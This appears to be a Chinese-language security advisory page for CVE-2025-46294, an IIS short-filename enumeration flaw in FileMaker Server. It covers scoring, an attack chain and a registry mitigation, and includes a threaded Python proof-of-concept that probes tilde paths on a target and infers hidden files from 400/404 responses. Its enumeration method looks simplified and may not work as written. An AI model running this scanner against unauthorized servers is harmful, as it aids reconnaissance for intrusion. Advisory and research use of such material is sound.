IPBUF安全漏洞报告
English
CVE-2025-46294 CVSS 5.3 中危

CVE-2025-46294 FileMaker Server IIS短文件名枚举漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-46294
漏洞类型
信息泄露/枚举漏洞
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FileMaker Server

相关标签

CVE-2025-46294信息泄露枚举漏洞IIS短文件名FileMaker ServerWindows无需认证网络攻击

漏洞概述

CVE-2025-46294是FileMaker Server中的一个信息泄露漏洞,源于Microsoft IIS处理传统8.3短文件名的机制。该漏洞允许未经认证的远程攻击者通过在HTTP请求中构造带有波浪号(~)字符的特殊URL,推断服务器上隐藏文件或目录的存在性。攻击者无需任何权限或用户交互,即可利用此漏洞进行侦察和信息收集,为进一步攻击做准备。CVSS评分5.3属于中等严重程度,主要影响系统的机密性。FileMaker Server 22.0.4版本通过引入禁用IIS短文件名枚举的选项来修复此漏洞,管理员可在安装时设置NtfsDisable8dot3NameCreation注册表键值来防止此类攻击。

技术细节

IIS短文件名漏洞利用了Windows文件系统为了向后兼容而保留的8.3命名约定。当IIS处理包含波浪号字符的请求时,会尝试匹配对应的短文件名格式。例如,访问/~1或/~2等URL时,服务器会返回不同的响应状态码,攻击者通过分析这些响应差异来推断长文件名的存在。攻击者可以构造如下请求模式:1) 使用波浪号加数字后缀探测文件;2) 根据HTTP状态码(404表示不存在,400表示存在)判断目标文件是否存在;3) 通过逐步增加后缀数字来枚举更多文件名。这种攻击方式不依赖于具体的应用漏洞,而是利用了文件系统特性和Web服务器的默认行为。由于无需认证且可通过网络直接发起,因此具有较高的实际威胁性。

攻击链分析

STEP 1
1
攻击者对目标FileMaker Server发送带有波浪号字符的HTTP请求,如/~1或/~2
STEP 2
2
IIS服务器尝试匹配对应的8.3短文件名格式
STEP 3
3
根据响应状态码判断文件是否存在:400表示存在,404表示不存在
STEP 4
4
攻击者通过分析响应差异推断隐藏文件或目录的存在性
STEP 5
5
逐步增加后缀数字枚举更多文件名,构建完整的目录结构图
STEP 6
6
利用收集到的信息进行进一步的攻击,如定位敏感配置文件或管理接口

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-46294 IIS Short Name Enumeration PoC # Target: FileMaker Server with IIS import requests import sys from concurrent.futures import ThreadPoolExecutor def check_shortname(target_url, suffix): """Check if a short filename exists by testing ~suffix pattern""" paths_to_test = [ f"/~{suffix}", f"/~{suffix}.as*", f"/~{suffix}.ht*", f"/~{suffix}.co*" ] for path in paths_to_test: try: url = f"{target_url.rstrip('/')}{path}" response = requests.get(url, timeout=5, verify=False) # If status is 400 Bad Request, short name exists # If status is 404 Not Found, short name doesn't exist if response.status_code == 400: return {'suffix': suffix, 'path': path, 'exists': True} elif response.status_code == 404: continue except requests.RequestException: continue return {'suffix': suffix, 'path': None, 'exists': False} def enumerate_shortnames(target_url, max_suffix=20, threads=10): """Enumerate potential short filenames""" print(f"[*] Starting IIS shortname enumeration on {target_url}") print(f"[*] Testing suffixes 0-{max_suffix} with {threads} threads\n") results = [] with ThreadPoolExecutor(max_workers=threads) as executor: futures = [executor.submit(check_shortname, target_url, i) for i in range(max_suffix + 1)] for future in futures: result = future.result() if result['exists']: results.append(result) print(f"[+] Found potential file/directory: ~{result['suffix']}") print(f"\n[*] Enumeration complete. Found {len(results)} potential targets.") return results if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-46294_poc.py <target_url>") print("Example: python cve-2025-46294_poc.py http://filemaker-server/") sys.exit(1) target = sys.argv[1] enumerate_shortnames(target)

影响范围

FileMaker Server < 22.0.4

防御指南

临时缓解措施
在Windows注册表中添加或修改HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem项下的NtfsDisable8dot3NameCreation值设为1,然后重启服务器使设置生效。对于无法立即升级的场景,可通过禁用IIS的短文件名处理功能来缓解风险,同时建议使用Web应用防火墙(WAF)规则阻止包含波浪号字符的可疑请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表